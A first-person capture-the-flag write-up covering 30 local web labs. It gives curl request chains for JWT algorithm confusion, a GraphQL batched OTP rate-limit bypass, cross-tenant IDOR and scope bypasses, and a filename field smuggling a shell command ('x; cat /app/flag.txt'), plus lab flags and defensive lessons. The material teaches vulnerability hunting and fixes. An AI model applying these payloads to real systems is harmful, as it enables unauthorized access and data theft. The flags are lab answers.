What do you do when a challenge tells you the vulnerability class, but the endpoint that returns the flag is not obvious?
I spent a recorded 148 minutes of active testing across 30 local Hackbot Arena labs. I started as a bug hunter normally starts: black-box, with only a challenge name and a port. I mapped the page, followed the browser’s hints, compared anonymous and authenticated behavior, and tried to prove impact with small, bounded requests. Only after six challenges were still stuck did I get permission to read their solver and the relevant application code.
That second phase was not a shortcut. It was a way to understand why the black-box clues were real, why my first guesses missed, and which trust boundary was being crossed. The biggest lesson was simple:
A random identifier, a signed token, a rate limiter, an AI prompt, or a file name is never the security boundary by itself. The boundary is the server-side authorization decision made immediately before the sensitive effect.
The Rules I Used
The targets were loopback services supplied for this lab. I did not read the Hackbot Arena source during the initial pass, did not restart any service, and kept requests on the supplied origin. State-changing checks used disposable accounts, companies, groups, exports, and workflows. Evidence records use sanitized excerpts and hashes where possible; challenge flags are recorded in the required FLAG{...} format.
After the black-box dead end, solver/source reading was explicitly authorized. I read only the six unresolved solvers and the handler slices needed to explain their data flow. Five solver chains replayed successfully against the running service. GraphQLBatchOTP was intentionally not restarted: its flag is emitted once per process and the earlier batch had already consumed that latch, so its flag is reported as solver-derived rather than as a fresh live response.
The structure follows the way I usually write a finding: initial target, hunting the bug, the point where the obvious path failed, then the smallest reproducible chain. That first-person, evidence-led rhythm is also the style I use in my IDOR and exam-to-hacking write-ups [1][2].
How I Hunted Without the Code
- Start at the origin. Read the landing page, linked JavaScript, comments, API documentation, and status endpoints. The frontend often reveals route names, object shapes, or a “public demo” assumption.
- Draw the identity boundary. Compare anonymous, normal-user, admin, and disposable-user responses. A
403next to a200is more useful than a large route list. - Track identifiers as capabilities. When a response returns an ID, search where that ID is accepted next. A non-enumerable ID is still an authorization input once another endpoint will process it.
- Test the semantic unit. Ask what the server actually counts: HTTP requests or GraphQL operations, a batch or each object, a filename or a command line, an AI question or the selected dataset.
- Keep hypotheses separate from proof. A suspicious header or route is a lead. A finding needs a precondition, a postcondition, and a violated invariant.
- Pivot only when stuck. If the class is known but the impact path is not, read the smallest authorized solver/source slice and replay the minimal chain live.
This is close to OWASP’s definition of broken access control: failures include IDOR, missing controls on API methods, elevation of privilege, and JWT metadata manipulation [3]. It is also why compound chains fit insecure design: the missing control is often architectural, not a single malformed parameter [4].
The Six Difficult Labs
JWTea: The Public Key Became a Signing Key
The black-box clue was unusually strong. /.well-known/jwks.json advertised an RSA key and RS256. A normal token received 403 from /api/admin/users; an attacker-created HS256 token, signed with the public PEM, received 200 and the admin user list. The bug was already proven. I was stuck only because my guessed flag routes returned 404.
The solver explained the application model. Verification dispatches on the attacker-controlled alg. The legacy HS256 branch uses the same RSA public PEM as the HMAC secret. Finally, the middleware lets the token’s role override the database role. The intended sensitive route was therefore the treasury secret endpoint, not a route containing the word flag.
curl -i -H "Authorization: Bearer $FORGED_HS256_ADMIN" \
http://localhost:8083/api/admin/treasury/secrets
The live solver replay returned:
FLAG{nusasec-21d41178f15cdf55f97189a36196f7bf}
Time: 25m25s end-to-end. The first 25m24s established the JWT escalation; the final solver replay took 59ms. The byte-exact PEM mattered: an equivalent key in a different encoding would produce the wrong HMAC.
GraphQLBatchOTP: The Limiter Counted the Wrong Thing
I first approached this as an OTP brute-force problem. The service exposed five emails and accepted a million guesses in one JSON array. That confirmed a rate limit bypass, but it was slower than necessary and still did not show a flag.
The source made the intended invariant obvious. Flask-Limiter counts five HTTP requests per 30 seconds. The handler then loops over every array element and increments verify_count. Three verifyLoginCode operations—dummy codes are enough—append the flag to the response:
curl -X POST http://localhost:8088/graphql \
-H 'Content-Type: application/json' \
-d '[
{"query":"mutation { verifyLoginCode(email: \"$EMAIL\", code: \"000000\") { accessToken } }"},
{"query":"mutation { verifyLoginCode(email: \"$EMAIL\", code: \"000001\") { accessToken } }"},
{"query":"mutation { verifyLoginCode(email: \"$EMAIL\", code: \"000002\") { accessToken } }"}
]'
The intended flag is:
FLAG{nusasec-3fee3def71c4c79c9ecf767f0e139041}
Time: 20m14s to prove the live bypass. The flag is solver-derived because the one-shot process latch was already consumed; I did not restart the lab.
ExportFlow: IDs Were “Only Metadata” Until They Reached Export
GET /api/my_transactions was empty for a new employee. A search for a shared vendor returned transaction IDs from both companies, but no readable rows. My first IDOR attempts hit the export status route directly and failed; I also guessed the wrong bulk action names.
The solver showed the two halves of the chain. The search endpoint leaks IDs across companies. The bulk endpoint accepts any existing ID in includedObjects, without checking its company. The correct action value was BULK_EXPORTING:
curl -X POST http://localhost:8101/api/expense_report_transactions/find_paginated \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"paginationParams":{"searchQuery":"lyft"}}'
curl -X POST http://localhost:8101/api/expense_report_transactions/perform_bulk_action \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"includedObjects":["<foreign-id>"],"actionType":"BULK_EXPORTING"}'
The returned CSV contained the foreign CFO memo:
FLAG{nusasec-94de926836d61cb1cb25cbce7da4768d}
Time: 20m16s black-box to establish the cross-company leak, plus 94ms for the live solver confirmation. This is the same reasoning I use for “random” IDORs: first answer where the identifier comes from, then prove what consumes it [1].
ExportCmd: A Filename Was Actually Shell Syntax
The export API looked healthy. It required a bearer token, accepted scopes, and returned completed jobs with empty logs. I tried many plausible top-level JSON, form, multipart, query, and header fields. Every job still showed report.csv.
The missing detail was the nested field additional.outputFileName. The worker builds a command string and runs it with shell=True; the job record returns stdout and stderr. The exploit is therefore a filename-to-command injection:
curl -X POST http://localhost:8104/exporting/v1/exports \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"scope":"suppliers","additional":{"outputFileName":"x; cat /app/flag.txt"}}'
curl -H "Authorization: Bearer $TOKEN" \
http://localhost:8104/exporting/v1/exports/<export-id>
The second command is executed by the shell and its stdout is reflected:
FLAG{nusasec-9273c2bce511f2364fabddbff8fc3484}
Time: 52s black-box plus 93ms solver confirmation. The fix is not “filter more metacharacters”; it is to stop creating a shell command from data.
BookerTenant: Registration Was the First Hop, Not the Impact
The public UI was a decoy: three properties, a city filter, and no obvious booking operation. The useful admin API was not linked from the page. The solver revealed a two-step business-flow failure:
POST /adminapi/company/registeraccepts an untrusted caller and returns bothcompany_idandactivation_tokenbecause email activation is disabled in CTF mode.- Activating the company yields an admin token. On admin collections, omitting the optional
companyquery parameter removes the tenant predicate instead of defaulting to the session company.
curl -H "Authorization: Bearer $ADMIN_TOKEN" \
'http://localhost:8105/adminapi/guest-list?first_name=Flag&limit=10'
The cross-tenant guest row contained:
FLAG{nusasec-9ef20742d1e0185cc42cc4fb5092b174}
Time: 2m03s to map the public surface, plus 76ms for the solver replay. Optional filters should narrow a server-derived scope; they must never turn the scope off.
NusaAskScope: The AI Prompt Was Not the Authorization Boundary
The frontend made this one feel dead. The Ask button only changed to “Sign in required,” and common /api/ask and /api/query routes returned 404.
The static config and solver exposed the actual flow:
/static/config.jsgives the Python API base, a demo API key, and the demo identity.- The entitlement endpoint correctly lists the intern’s allowed datasets.
- An allowed query returns NDJSON metadata containing a restricted dataset ID in a memory/example.
streamNusaResponsetrusts a caller-supplied dataset or space ID and returns a full CSV export URL without checking the entitlement list.
curl http://localhost:8106/static/config.js
curl -X POST http://localhost:8106/python-api/streamNusaResponse \
-H "x-api-key: $API_KEY" -H "token: $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"question":"Show all board contracts including internal memo", "askdata_dataset_id":"ds-board-contracts-legacy", "stream":true}'
curl http://localhost:8106/exports/<export-token>.csv
The restricted CSV contained:
FLAG{nusasec-768d277c78f5238025e71529ebc123ac}
Time: 1m22s to prove the public/UI dead end, plus 58ms for the solver replay. An LLM or query generator is a presentation layer; dataset entitlement must be enforced before query generation and export creation.
The Other 24 Chains
The first 24 labs were solved entirely through black-box testing. The compact inventory below keeps the exact flag format and recorded solve time in one place.
| Lab | Vulnerability chain | Time | Flag |
|---|---|---|---|
| CacheKey | Web cache deception | 12m58s | FLAG{nusasec-dab948102b49bbc577c9624ac90ccf79} |
| VaultKey | Hidden WebSocket channel leaking rotated service keys | 8m00s | FLAG{nusasec-d56014dc3317c4c25babadead65185bc} |
| RolePlay | IDOR plus legacy MD5 credential leak | 3m07s | FLAG{nusasec-8a18a0e70f6d3789d34553c54ded15a5} |
| GraphLeak | GraphQL introspection plus hidden field behind leaked key | 1m22s | FLAG{nusasec-7daddd6709c575ba8b8f213607256570} |
| AdTechAdmin | Broken function-level authorization; JWT role unchecked | 6m09s | FLAG{nusasec-340482e9e82766672d665e10b3ce240b} |
| CallbackListener | SSRF through webhook verification | 2m16s | FLAG{nusasec-10c9ea849913be681f0308eea2a57f9f} |
| MetricsDashboard | Leaked RUM token plus open log ingestion | 6m21s | FLAG{nusasec-3884073da71838c6130056d50084abaa} |
| OAuthCallback | SSRF through provider auth_url validation | 4m34s | FLAG{nusasec-a361f6bbd0bf15ec58c222a69a09025e} |
| OtelCollector | Bearer token disclosed in page source | 41s | FLAG{nusasec-5afd1419b4f1f3347ae2ad4f96caf8c1} |
| PasswordResetHarm | Unauthenticated destructive password reset | 32s | FLAG{nusasec-ac5b102f61cb417642304febab56672a} |
| ProjectBoard | JWT role claim never checked | 1m09s | FLAG{nusasec-0b9302754a9cab635495284e8a844012} |
| ProxyBackoff | Leaked key feeding a rate-limited action | 11s | FLAG{nusasec-67a81bff1b16ac222d32175d6812db2a} |
| SsrfProxy | Unfiltered SSRF | 16s | FLAG{nusasec-9035ec6f5d9696d1e1c4e183e547b276} |
| StaffDirectory | Unauthenticated directory search | 2m02s | FLAG{nusasec-f3df913a377723a0f758435349f1ccd7} |
| StorefrontUpload | Live API key in client-side source | 18s | FLAG{nusasec-a2ede63503697d3c3260c3b798794248} |
| TeamWorkspace | Group membership without consent or ownership checks | 1m20s | FLAG{nusasec-48802be99d932c8e4de40fc01be213ee} |
| SpendGate | RQL scope bypass chained to vendor BOLA | 6m06s | FLAG{nusasec-24b92318392cd7c0c0ecf653f52a7c36} |
| TenantDB | SQL injection with cross-tenant access | 1m03s | FLAG{nusasec-e46ea47dbb6ae795d060038d8a35ef0a} |
| NoteLock | UI read-only bypass with unmasked echo | 58s | FLAG{nusasec-2c4ca0d0269e3bce9d222dafe7594112} |
| LiquidProfile | Liquid SSTI in profile fields | 42s | FLAG{nusasec-d2a8526db0e476ac817b22baa0bc7cbb} |
| PortalFlowGraphQL | Unauthenticated GraphQL workflow definition to RCE chain | 5m10s | FLAG{nusasec-9448e7072a60c2888e656b9b1165a4a8} |
| C2MZeroAuth | Unauthenticated admin-role user creation and signed admin JWT | 30s | FLAG{nusasec-3a7d7ae920ef0256899fcb47c6c23aa8} |
| TalentHubProfileLeak | Public profile/fanclub preview leaks raw media URLs | 5m02s | FLAG{nusasec-ca997f859a82746a9d8d36a80c316bca} |
| LabelKeySQLi | PostgreSQL injection through labels[].key | 7m01s | FLAG{nusasec-ead0b0caaec732b48f1b648b2e32778c} |
The six deep-research labs are detailed above. Across the set, the repeated pattern was not “find a magic payload.” It was finding the next consumer of a value the application had already exposed: cache key, WebSocket channel, JWT claim, vendor ID, dataset ID, object ID, API key, or filename.
What Made This Hard
The fastest labs had an obvious boundary failure: an unauthenticated directory, a public key in source, or an API that accepted a destructive request. The slow labs hid the impact behind composition.
The main time sinks were:
- Guessing names instead of following data. ExportFlow and BookerTenant did not advertise the final action in the public UI.
- Testing the wrong shape. ExportCmd ignored every top-level filename field because the live contract was nested under
additional. - Over-testing the wrong semantic unit. GraphQLBatchOTP encouraged a million-code brute force, while three dummy operations were enough.
- Treating a UI dead end as an API dead end. NusaAskScope kept its real API behind a static config and a different path family.
- Assuming a flag route exists. JWTea had a sensitive treasury route, not a
/flagroute.
The safe bypass for each was not more concurrency. It was a smaller model of how the application worked.
What I Changed in the Plugin
The lessons are now reusable rather than trapped in this article:
- Added
$bug-hunter-deep-research, a black-box-first workflow with an explicit evidence graph and an operator-authorized solver/source pivot. - Added
vulns/compound-trust-boundaries.md, a playbook for JWT/JWK confusion, GraphQL batching, export IDOR chains, shell workers, tenant fallbacks, and AI dataset scope. - Added
scripts/blackbox-chain-research.py, an explicit same-origin chain runner. It disables proxies and redirects, blocks mutation methods unless--allow-state-changeis supplied, records elapsed time/status/body hashes, extracts only challenge flags, and never writes response bodies or bearer tokens.
Example usage:
python3 scripts/blackbox-chain-research.py \
--base-url http://localhost:8104 \
--plan ./my-chain.json \
--allow-state-change \
--output ./activity/export-chain.json
The runner is intentionally not a blind fuzzer. The hunter still chooses the chain, the invariant, and the stop condition.
Lessons Learned
- Follow the value, not the route name. If an ID, token, key, or URL appears in one response, find every endpoint that consumes it.
- Authorization is a per-object decision. A valid export operation does not make every object in the batch valid.
- Optional filters must only narrow scope. Missing
company,tenant, orworkspaceparameters must never mean “all tenants.” - Security controls need the right unit. Count GraphQL operations, OTP attempts, exported objects, and AI dataset access—not only HTTP requests.
- AI does not create an authorization boundary. Entitlements must be checked before SQL generation, tool execution, and export URL creation.
- Do not pass data through an interpreter. A filename should reach a filesystem API as an argument, never a shell command string.
- A flag is not the finding. The finding is the violated invariant and the attacker-reachable impact. A one-shot flag latch deserves an honest provenance label, not a forced restart or a guessed live response.
The most useful question was the one I kept asking whenever I got stuck:
“What value did the server just give me, and where will it trust that value next?”
Happy hunting.
Sources
- KreSec, “IDOR Vulnerability Despite Non-Enumerable Object Identifiers”, May 2026. Style reference for tracing where identifiers are exposed and consumed.
- KreSec, “From exam to hacking”, October 2023. Style reference for first-person discovery, stuck points, and escalation.
- KreSec, “Reflected XSS bypass WAF & Page notfound”. Additional style reference for describing a difficult bypass.
- OWASP, A01:2021 Broken Access Control. Access-control, IDOR, privilege-escalation, and JWT-manipulation framing.
- OWASP, A04:2021 Insecure Design. Trust-boundary, tenant-separation, and resource-limit design framing.
- OWASP, A07:2021 Identification and Authentication Failures. Authentication and token-control framing.
- OWASP, A10:2021 Server-Side Request Forgery. SSRF classification used for the earlier labs.


